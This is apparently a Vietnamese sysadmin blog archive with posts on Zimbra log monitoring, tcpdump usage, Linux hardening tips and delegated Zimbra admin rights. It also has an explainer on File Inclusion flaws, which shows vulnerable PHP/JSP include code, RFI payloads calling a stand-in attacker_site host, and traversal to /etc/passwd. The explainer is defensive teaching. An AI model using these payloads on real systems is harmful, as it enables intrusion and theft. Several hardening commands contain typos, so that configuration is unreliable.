Thứ Năm, 30 tháng 7, 2015

Giám sát log gửi nhận mail

Giám sát log gửi nhận của một số email VIP

Trên thư mục /tmp/

 Tạo vi checklog.sh

Sau đó copy scrip vào file:

export DATE=`date +%Y%m%d%H%M`

cat /var/log/zimbra.log | grep "|test1|test2|test3" | grep deferred >> /tmp/zimbra.$DATE.txt
 
Sau đó lưu lại. 
 
 chmod +x checklog.sh 

[root@hostname ~]# crontab -e
30 * * * * /tmp/checklog.sh

Sau đó lưu lại và restart lại crontab.

 

Thứ Hai, 27 tháng 7, 2015

Sử dụng TCPDUMP trong Linux


Tcpdump là phần mềm bắt gói tin trong mạng làm việc trên hầu hết các phiên bản hệ điều hành unix/linux. Tcpdump cho phép bắt và lưu lại những gói tin bắt được, từ đó chúng ta có thể sử dụng để phân tích.

Trong hướng dẫn tcpdump này, chúng ta sẽ cùng thảo luận về một vài ví dụ thực tiễn về cách sử dụng lệnh tcpdump.
1. Bắt gói tin từ một giao diện ethernet cụ thể thông qua tcpdump -i
Khi bạn thực thi lệnh tcpdumpmà không có tùy chọn cụ thể, nó sẽ bắt tất cả các gói tin lưu thông qua card mạng. Tùy chọn -i sẽ cho phép bạn lọc một Interface (giao diện/card mạng) ethernet cụ thể.
$ tcpdump -i eth1
 Trong ví dụ trên, tcpdump bắt tất cả các gói tin trong eth1 và hiển thị theo chuẩn đầu ra.
2. Chỉ bắt số lượng N gói tin thông qua lệnh tcpdump -c
Khi bạn thực thi lệnh tcpdump, nó sẽ thực hiện đến khi bạn hủy bỏ lệnh. Sử dụng tùy chọn -c bạn sẽ có thể lựa chọn cụ thể số lượng gói tin được bắt.
$ tcpdump -c 2 -i eth0
Ví dụ trên cho thấy lệnh tcpdump chỉ bắt 2 gói tin từ giao diện eth0.
3. Hiển thị các gói tin được bắt trong hệ ASCII thông qua tcpdump -A
Dưới đây là lệnh tcpdump hiển thị gói tin dưới dạng ASCII.
$ tcpdump -A -i eth0
4. Hiển thị các gói tin được bắt dưới dạng HEX và ASCII thông qua tcpdump -XX
Một vài người dùng có thể muốn phân tích gói tin dưới dạng giá trị cơ số 16. tcpdump cung cấp một cách hiển thị gói tin dưới cả hai dạng ASCII và HEX.
$tcpdump -XX -i eth0
5. Bắt gói tin và ghi vào một file thông qua tcpdump -w
tcpdump cho phép bạn lưu gói tin thành một file, và sau đó bạn có thể sử dụng với mục đích phân tích khác.
$ tcpdump -w 08232010.pcap -i eth0
Tùy chọn -w ghi các gói tin vào một file cho trước. Phần mở rộng của 
file nên là .pcap để có thể đọc được bởi các phần mềm phân tích giao 
thức mạng.
6. Đọc các gói tin từ một file thông qua tcpdump -r
Bạn có thể đọc được các file .pcap như sau:
$tcpdump -tttt -r data.pcap
7.Bắt các gói tin với địa chỉ IP thông qua tcpdump -n
Trong các ví dụ phía trên hiển thị gói tin với địa chỉ DNS chứ không phải địa chỉ IP/ Ví dụ dưới đây bắt các gói tin và hiển thị địa chỉ IP của thiết bị liên quan.
$ tcpdump -n -i eth0
8. Bắt các gói tin với các dấu thời gian thông quan tcpdump -tttt
$ tcpdump -n -tttt -i eth0
9. Đọc các gói tin lớn hơn N byte
Bạn có thể chỉ nhận những gói tin lớn hơn N byte thông qua một bộ lọc “greater”.
$ tcpdump -w g_1024.pcap greater 1024
10. Chỉ nhận những gói tin trong với một kiểu giao thức cụ thể.
Bạn có thể lọc các gói tin dựa vào kiểu giao thức. Bạn có thể chọn một trong những giao thức — fddi, tr, wlan, ip, ip6, arp, rarp, decnet, tcp và udp. Ví dụ dưới đây chỉ bắt các gói tin arp thông qua giao diện eth0.
$ tcpdump -i eth0 arp
11. Đọc các gói tin nhỏ hơn N byte.
Bạn có thể chỉ nhận những gói tin nhỏ hơn N byte thông qua bộ lọc “less”.
$ tcpdump -w l_1024.pcap  less 1024
12. Nhận các gói tin trên một cổng cụ thể thông qua tcpdump port.
Nếu bạn muốn biết tất cả gói tin nhận được trên một cổng cụ thể trên thiết bị, bạn có thể sử dụng lệnh như sau
$ tcpdump -i eth0 port 22
13. Bắt các gói tin trên địa chỉ IP và cổng đích.
Các gói tin có địa chỉ IP và cổng nguồn và đích. Sử dụng tcpdump chúng ta có thể áp dụng bộ lọc trên địa chỉ IP và cổng nguồn hoặc đích. Lệnh dưới đây bắt các gói tin trong eth0 với địa chỉ đích IP và cổng 22.
$ tcpdump -w xpackets.pcap -i eth0 dst 10.181.140.216 and port 22
14. Bắt các gói tin kết nối TCP giữa hai host.
Nếu hai tiến trình từ hai thiết bị kết nối thông qua giao thức TCP, chúng ta sẽ có thể bắt những gói tin thông qua lệnh dưới đây:
$tcpdump -w comm.pcap -i eth0 dst 16.181.170.246 and port 22
Bạn có thể mở file comm.pcap để debug bất cứ vấn đề tiềm tàng nào.
15. Bộ lọc gói tin tcpdump – Bắt tất cả các gói tin ngoại trừ arp và rarp
Trong lệnh tcpdump bạn có thể sử dụng điều kiện “and”, “or” hoặc “not” để lọc các gói tin.
$ tcpdump -i eth0 not arp and not rarp

Tăng cường ATTT cho máy tính Linux

Hầu hết mọi người đều cho rằng hệ thống bảo mật của Linux đã được cài đặt sẵn và không cần phải thay đổi nhiều. Tuy nhiên, Linux có những mô hình bảo mật riêng cho các trường hợp khác nhau.Việc lựa chọn chế độ phù hợp có thể giúp tăng tính bảo mật cho toàn hệ thống. Linux có thể rất khó điều khiển, tuy nhiên nó lại có nhiều tùy chỉnh phù hợp và linh hoạt.
Việc bảo đảm an toàn cho một hệ thống khỏi những kẻ tấn công luôn là những nhiệm vụ đầy khó khăn đối với những quản trị viên. Trong bài viết này, chúng tôi sẽ giới thiệu 25 mẹo để có thể bảo vệ một server Linux hiệu quả hơn, hy vọng có thể giúp ích cho những người đã và đang sử dụng hệ điều hành này.
  1. Bảo vệ hệ thống vật lý
    Loại bỏ các nguy cơ bị boot hệ thống BIOS bằng CD/DVD, đĩa mềm và các thiết bị bên ngoài. Hãy đặt đặt mật khẩu cho BIOS và GRUB để ngăn chặn tất cả các kết nối giữa hệ thống với các thiết bị vật lý bên ngoài.
  2. Phân vùng ổ cứng
    Việc phân chia dữ liệu không chỉ khiến cho nó được sắp xếp hợp lý hơn, mà còn giúp các dữ liệu được bảo vệ tốt hơn trong trường hợp có sự cố không mong muốn xảy ra. Khi đó, chỉ có các dữ liệu trong những vùng xảy ra sự cố bị ảnh hưởng, không gây hại tới các gói dữ liệu khác. Một mô hình phân chia bạn có thể học theo, trong đó, các ứng dụng của bên thứ ba nên được cài vào file ‘/opt’
    /
    /boot
    /usr 
    /var 
    /home
    /tmp
    /opt
  3. Bớt đi các gói dữ liệu không cần thiết, hạn chế lỗ hổng bảo mật
    Bạn có bao giờ sử dụng tất cả các gói dịch vụ? Theo chúng tôi, bạn nên bỏ đi những gói tin không cần thiết để tránh việc bị tấn công thông qua những lỗ hổng của gói đó. Hãy kiểm tra lại một lượt xem có những ứng dụng nào không cần đến và gỡ chúng đi. Sử dụng lệnh ‘chkconfig’ để tìm các dịch vụ đang được chạy ở mức độ 3
    # /sbin/chkconfig --list |grep '3:on'
    Một khi đã phát hiện ra những dịch vụ không cần thiết, loại bỏ chúng bằng câu lệnh
    # chkcongfig serviceName off
    Hoặc có thể sử dụng gói quản lý RPM ví dụ như “yum” hay “apt-get” để liệt kê tất cả các gói tin đã được cài đặt và loại bảo chúng bằng các câu lệnh sau
    #yum -y remove package-name
    # sudo apt-get remove package-name
  4. Kiểm tra các cổng kết nối mạng
    Với sự trợ giúp của cú pháp ‘netstat’ bạn có thể kiểm tra tất cả các cổng kết nối mở và các chương trình có liên kết ra bên ngoài. Và giống như ở trên, hãy sử dụng ‘chkcongfig’ để loại bỏ chúng
    # netstat -tulpn
  5. Sử dụng Secure Shell(SSH)
    Các giao thức  cũ như Telnet và rlogin chỉ sử dụng những text đơn giản để truyền tin, không có cơ chế mã hóa thông tin. SSH là giao thức an toàn hơn,vì nó sử dụng sẽ mã hóa thông tin trước khi truyền đi trong suốt quá trình giao tiếp giữa người dùng với server. Hãy mở file cấu hình chính của SSH và sử dụng những cú pháp sau để giới hạn đăng nhập của người dùng
    # vi /etc/ssh/sshd_config
    Loại bỏ Root Login
    PermitRootLogin no
    Chỉ chấp nhận một vài người dùng đặc biệt
    AllowUsers username
    Sử dụng giao thức SSH version 2
    Protocol 2
  6. Thường xuyên update hệ thống
    Luôn giữ hệ thống của bạn được cập nhật những bản vá,sửa lỗi và nâng cấp phần nhân hệ thống ngay khi có thể.
     # yum update
     # yum check-update
  7. Khóa Cronjobs
    Cron có những khả năng tự làm việc, tuy nhiên nó cũng cho phép người dùng tự điều khiển nếu như họ muốn. Có thể điều khiển thông qua các file có địa chỉ ‘/etc/cron.allow’ và ‘etc/cron.deny’. Thêm tên của một người sử dụng vào cron.deny nếu như không muốn họ chỉnh sửa cron, hoặc thêm vào cron.allow nếu cho phép họ sử dụng cron. Nếu như muốn tất cả những người sử dụng không thể sử  dụng cron, thêm dòng lệnh ALL vào file ‘cron.deny’
     # echo ALL >>/etc/cron.deny
  8. Tắt USB stick.
    Đã từng rất nhiều lần xảy ra chuyện chúng ta muốn hạn chế người sử dụng kết nối với hệ thống bằng USB để tránh tình trạng đánh cắp thông tin. Hãy tạo một file ‘/etc/modprobe.d/no-usb’ và thêm những dòng sau để hệ thống không nhận các thiết bị USB nữa
    install usb-storage /bin/true
  9. Sử dụng SELinux
    Hệ thống bảo mật nâng cao(SELinux) là một cơ chế bảo mật cung cấp ở vùng nhân. Tắt nó đi đồng nghĩa với việc loại bỏ cơ chế bảo vệ ra khỏi hệ thống. Hãy suy nghĩ thật kĩ mỗi khi muốn tắt nó, đặc biệt nếu hệ thống của bạn cần kết nối internet và có chế độ truy cập là công khai.
    SELinux có ba chế độ điều khiển sau:
    Enforcing: Chế độ thông thường, kích hoạt SELinux và để nó toàn quyền hoạt động tự do
    Permissive: Trong chế độ này, SELinux sẽ phải gửi những báo cáo cũng như cảnh báo cho người dùng trước mỗi hoạt động. Chế độ này vô cùng hữu ích trong trường hợp chuẩn đoán và xử lý nếu có sự cố xảy ra.
    Disable:tắt SELinux
  10. Loại bỏ các màn hình kiểu KDE và GNOME
    Rõ ràng là không cần thiết phải sử dụng các màn hình Window như là KDE hay GNOME cho server của bạn. Bạn có thể tắt hoặc gỡ nó đi để tăng cường bảo mật cho server. Để tắt nó , hãy mở file ‘etc/initab’ và đặt  chạy ở mức độ 3. Còn nếu muốn loại bỏ hoàn toàn khỏi hệ thống, hãy sử dụng câu lệnh sau:
    # yum groupmove "X Window System"
  11. Tắt IPv6
    Nếu như bạn không sử dụng IPv6, hãy tắt nó đi bởi vì phần lớn các ứng dụng không đòi hỏi giao thức này và hiện tại, nó cũng không cần thiết cho server nữa. Hãy vào file cấu hình mạng, thêm dòng lệnh sau để loại bỏ IPv6# vi /etc/sysconfig/network
    NETWORKING_IPV6=no
    IPV6INIT=no
  12. Hạn chế sử dụng lại các mật khẩu cũ
    Sẽ cực kỳ hữu ích nếu như bạn ngăn chặn việc những người sử dụng đặt lại một trong những mật khẩu cũ của họ. Các mật khẩu sẽ được lưu trữ tại /etc/pam.d/system-auth, file này chỉ có thể truy cập trong chế độ PAM.
    Mở file ‘etc/pam.d/system-auth’ trong RHEL/CentOS/Fedora.
    # vi /etc/pam.d/system-auth
    Thêm dòng lệnh sau vào mục ‘auth’
    auth        sufficient      pam_unix.so likeauth nullok
    Mờ file ‘etc/pam.d/common-password’ trong Ubuntu/Debian/Linux Mint
    # vi /etc/pam.d/common-password
    Thêm dòng lệnh sau vào mục ‘password’ để ngăn người dùng sử dụng lại 1 trong 5 password gần nhất của họ
    password    sufficient      pam_unix.so nullok use_authtok md5 shadow remember=5
    Nếu như người dùng muốn sử dụng lại bất kỳ mật khẩu nào trong số 5 cái mới nhất, họ sẽ nhận được một dòng cảnh báo
    Password has been already used. Choose another.
  13. Làm thế nào để kiểm tra thời gian sử dụng một password của người sử dụng
    Trong Linux, mật khẩu  người dùng được lưu trữ trong file ‘/etc/shadow’ dưới dạng mã hóa. Để kiểm tra thời gian sử dụng password của người sử dụng, bạn sẽ cần sử dụng câu lệnh ‘chage’. Nó sẽ  hiển thị lên các thông tin về thời hạn của một mật khẩu theo số liệu về thời gian thay đổi gần nhất. Những thông tin này được hệ thống sử dụng để quyết định khi nào người sử dụng cần thay đổi mật khẩu của họ
    #chage -l username
    Để thay đổi giới hạn cho một password, sử dụng câu lệnh
    #chage -M 60 username
    #chage -M 60 -m 7 -W 7 username
    Với -M:Số ngày tồn tại tối đa của mật khẩu
    -m:số ngày tối thiểu
    -W:Số ngày để đưa ra cảnh báo
  14. Khóa và mở một tài khoản theo cách thủ công
    Việc khóa và mở khóa rất hữu dụng, thay vì phải loại bỏ hẳn một tài khoản ra khỏi hệ thống, bạn chỉ cần khóa tài khoản đó lại trong vòng 1 tuần hoặc một tháng. Để khóa một tài khoản mà bạn muốn, sử dụng cú pháp sau
     # paswd -l accountName
    Lưu ý: Việc khóa thực chất chỉ là thay mật khẩu đã được mã hóa với một sâu kí tự khác. Nếu ai đó muốn truy cập bằng tài khoản này, nó sẽ hiện ra thông báo
     # su - accountName
     This account is currently not available.
    Để mở khóa và cho phép một mật khẩu bị khóa có thể truy cập lại, sử dụng câu lệnh dưới đây, nó sẽ lại thay thế chuỗi ký tự với mật khẩu được mã hóa
     passwd -u accountName
  15. Khuyến khích sử dụng những mật khẩu mạnh hơn
    Một số lượng lớn người sử dụng chỉ đặt cho mình những mật khẩu yếu và dễ bị hack. ‘pam_cracklib’ trong chế độ PAM sẽ buộc người dùng phải sử dụng cho mình những mật khẩu mạnh và an toàn hơn. Hãy thêm những dòng sau bằng một trình biên soạn
     # vi etc/pam.d/system-auth
    và thêm dòng sau(lcredit,ucredit, dcredit hay ocredit tương ứng với chữ thường, chữ hoa, chữ số và các kí tự khác)
     /lib/security/$ÍA/pam_cracklist.so retry = 3 minlen=8 lcredit =-1 ucredit=-2 dcredit=-2 ocredit=-1
  16. Sử dụng Iptable(tường lửa)
    Một điều được khuyến khích đó là bật chế độ tường lửa của Linux để kiểm soát những truy cập trái phép vào trong server của bạn. Hãy dùng iptable để có thể kiểm tra những gói tin đến, đi hoặc chuyển tiếp. Chúng ta hoàn toàn có thể xem xét địa chỉ nguồn và đích đến để có quyết định chấp nhận gói tin hay không
  17. Loại bỏ tổ hợp Ctrl+Alt+Delete
    Trong hệ điều hành Linux, ấn tổ hợp phím ‘CTRL+ALT+DELETE’ sẽ bắt đầu quá trình reboot hệ thống. Rõ ràng đây không phải và một ý hay, giả sử nếu như có một ai đó lỡ tay ấn nhầm.
    Tổ hợp phím được định nghĩa trong file’/etc/inttab’ . Thông thường các dòng lệnh sẽ bị ẩn đi, vì thế chúng ta cần làm nó hiện ra trước.
    # Trap CTRL-ALT-DELETE
    #ca::ctrlaltdel:/sbin/shutdown -t3 -r now
  18. Kiểm tra các tài khoản không có password
    Bất kể tài khoản nào mà không có mật khẩu đồng nghĩa với việc nó đang mở ra một lối truy cập trái phép cho bất kỳ ai. Vì thế bạn nên chắc chắn rằng tất cả các tài khoản đều sử dụng một mật khẩu mạnh và không ai có thể truy cập  một cách trái phép được. Các tài khoản không có mật khẩu là một đe dọa về bảo mật. Để kiểm tra các tài khoản này sử dụng câu lệnh sau
    #cat /etc/shadow |awk -F: '($2==""){print $1}'
  19. Hiển thị những tiêu đề cảnh báo SSH trước khi đăng nhập
    Sẽ là rất tốt nếu như bạn luôn đưa ra những tiêu đề về cảnh báo bảo mật SSH mỗi khi có người dùng đăng nhập.
  20. Giám sát các hành vi của người dùng.
    Nếu có quá  nhiều người sử dụng server của bạn, việc thu thập và phân tích các thông tin về mỗi hành vi của họ là vô cùng quan trọng. Tuy nhiên, làm thế nào để có thể thực hiện được việc này?
    Có hai công cụ vô cùng hữu ích cho chúng ta đó là ‘psacct’ và ‘acct’, giúp chúng ta quản lý mọi hành vi của những người sử dụng và các tiến trình diễn ra trong hệ thống.
    Những công cụ này chạy ngầm trong hệ thống và ghi lại từng hành vi của người sử dụng, cũng như theo dõi việc sử dụng tài nguyên cho các dịch vụ, ví dụ như Apache, MySQL, SSH, FTP…
  21. Kiểm tra, đánh giá các hoạt động một cách thường xuyên.
    Hãy di chuyển các hoạt động vào log server, điều này tránh việc những kẻ tấn công có thể xâm nhập vào và chỉnh sửa các hoạt động hệ thống. Thông thường, các file lưu trữ các hoạt động được đặt tại địa chỉ ‘/var/log’.
  22. Xây dựng file Backup
    Trong mọi hệ thống, luôn cần có một tệp tin làm nhiệm vụ sao lưu và phục hồi lại mỗi khi có sự cố xảy ra.
  23. Kết nối NIC
    Có hai loại kết nối NIC sau
    mode=0 Round Robin
    mode=1 kích hoạt và backup
    Khi xây dựng kết nối, chúng ta “kéo” hai hoặc nhiều hơn những kết nối lại với nhau và dùng một trường kết nối ảo để sử dụng IP giao tiếp với các server khác, Nếu có một thẻ NIC bị tạm ngừng hoặc không thể sử dụng được, thì các hoạt động vẫn diễn ra bình thường.
  24. Đặt địa chỉ /boot ở chế độ read-only
    Lõi Linux và những phần tử có liên quan đều nằm trong địa chỉ /boot vơi chế độ mặc định read-write. Chuyển về chế đọ read-only sẽ giảm thiểu các nguy cơ bị chỉnh sửa từ bên ngoài hoặc gây ra các lỗi với file boot. Để làm điều này, mở file ‘/etc/ftad’
     # vi /etc/fstad
    Và thêm dòng lệnh sau vào cuối, lưu rồi đóng file lại
     LABEL=/boot     /boot     evt2    default
    Lưu ý rằng, nếu bạn muốn nâng cấp nhân hệ thống bạn cần phải đặt lại về chế độ read-write
  25. Bỏ qua ICMP hoặc các yêu cầu quảng cáo
    Thêm dòng sau vào “/etc/sysctl.conf” để bỏ qua các yêu cầu ping hay quảng cáo
    net.ipv4.icmp_echo_ignore_all = 1
    net.ipv4.icmp_echo_ignore_broadcasts = 1
    Lưu lại các thay đổi cấu hình trên bằng câu lệnh
    #sysct1 -p
     
    Nguồn tham khảo: securitydaily.net  

Hiểu về tấn công khai thác lỗ hổng “File Inclusion”

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.
Hàm ‘Include’
Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ đơn giản về hàm include.
1. Một menu trang như sau
menu.php:
<?php
echo ‘<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>;
?>
2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()
abc.php
<html>
<body>
<div class =”menu”><?php include ‘menu.php';?></div>
<p>WELCOME</p>
</body>
</html>
3. Giờ thì file menu.php đã được bao hàm trong file abc.php, bất cứ khi nào abc.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào abc.php và thực thi.
Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include()
  • Remote file inclusion
  • Local file inclusion
Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: Inlude_once(), require(), require_once()…
Lỗ hổng Remote file inclusion
RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ.
Lỗ hổng Remote file inclusion trong PHP
PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó. Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ thuộc vào dữ liệu đầu vào người dùng.
1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:
www.victim_site.com/abc.php?testfile=example
2. Mã nguồn PHP chứa lỗ hổng:
$test = $_REQUEST[“testfile”];
Include($test.”.php”);
3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.
4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:
www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page
File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào “attack_page” và thực hiện hành vi độc hại.
Remote file inclusion trong JSP
1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại thông qua biến đầu vào ‘test':
<c:import url=”<%= request.getParameter(“test”)%>”>
Tấn công:
www.victim_site.com/abc.jsp?test=http://www.attackersite.com/stealingcookie.js
2. Script độc hại trong stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.
Tấn công Local file inclusion
Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như “/”, “../”, “-“.
Local file inclusion trong PHP:
1. Ví dụ đường dẫn sau có thể bị tấn công:
http://victim_site/abc.php?file=userinput.txt
2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:
<?php
…
include $_REQUEST[‘file’];
…
?>
3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như “../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng cách cung cấp đầu vào “/apache/logs/error.log” hoặc “/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.
Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte rỗng kết thúc “″ để vượt qua. Đây là cách được các tin tặc sử dụng để thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.
Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.
<?php
“include/”.include($_GET[‘testfile’].”.php”);
?>
Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một (kí tự byte rỗng sau tên của file.
http://victim_site/abc.php?testfile=../../../../etc/passwd
Tương tự Local file inclusion trong JSP:
1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:
www.victim_site.com/abc.jsp?test=xyz.jsp
Giá trị của biến ‘test’ sẽ được chuyển qua:
…
<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>
…
2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file inclusion nằm trong ứng dụng, file database sẽ được include vào trang JSP:
www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB
Khắc phục
Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các biến từ “User Input” để đưa vào hàm include hay eval.  Trong trường hợp phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa vào hàm cần được kiểm tra kỹ lưỡng
  1. Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
  2. Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.
Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.
 
 Bài viết được tham khảo từ : securitydaily.net

Thứ Tư, 22 tháng 7, 2015

Admin Delegated in zimbra

I . Tạo tài khoản có quyền admin delegate

zmprov ca admin_test@domain.com 123 zimbraIsDelegatedAdminAccount TRUE

II . Script

    #!/bin/bash

    # $1 domain

    # $2 email

    zmprov ma $2 zimbraIsDelegatedAdminAccount TRUE

    zmprov ma $2 zimbraAdminConsoleUIComponents cartBlancheUI zimbraAdminConsoleUIComponents domainListView zimbraAdminConsoleUIComponents accountListView zimbraAdminConsoleUIComponents DLListView

    zmprov ma $2 zimbraDomainAdminMaxMailQuota 0

    zmprov grantRight domain $1 usr $2 +createAccount

    zmprov grantRight domain $1 usr $2 +createAlias

    zmprov grantRight domain $1 usr $2 +createCalendarResource

    zmprov grantRight domain $1 usr $2 +createDistributionList

    zmprov grantRight domain $1 usr $2 +deleteAlias

    zmprov grantRight domain $1 usr $2 +listDomain

    zmprov grantRight domain $1 usr $2 +domainAdminRights

    zmprov grantRight domain $1 usr $2 +configureQuota

    zmprov grantRight domain $1 usr $2 set.account.zimbraAccountStatus

    zmprov grantRight domain $1 usr $2 set.account.sn

    zmprov grantRight domain $1 usr $2 set.account.displayName

    zmprov grantRight domain $1 usr $2 set.account.zimbraPasswordMustChange

    zmprov grantRight domain $1 usr $2 getDomainQuotaUsage

    zmprov grantRight account $2 usr $2 +deleteAccount

    zmprov grantRight account $2 usr $2 +getAccountInfo

    zmprov grantRight account $2 usr $2 +getAccountMembership

    zmprov grantRight account $2 usr $2 +getMailboxInfo

    zmprov grantRight account $2 usr $2 +listAccount

    zmprov grantRight account $2 usr $2 +removeAccountAlias

    zmprov grantRight account $2 usr $2 +renameAccount

    zmprov grantRight account $2 usr $2 +setAccountPassword

    zmprov grantRight account $2 usr $2 +viewAccountAdminUI

    zmprov grantRight account $2 usr $2 +configureQuota


1. Tạo file domain_right.sh trên quyền root
vi domain_right.sh
2. Copy file domain_right.sh vao /opt/zimbra

cp domain_right.sh /opt/zimbra
3. Thay đổi quyền của file domain_right.sh

#chmod +x /opt/zimbra/domain_right.sh

#chown zimbra:zimbra /opt/zimbra/domain_right.sh

4. Trên quyền zimbra chạy file sh

su zimbra

./domain_right.sh domain.com  admin_test@domain.com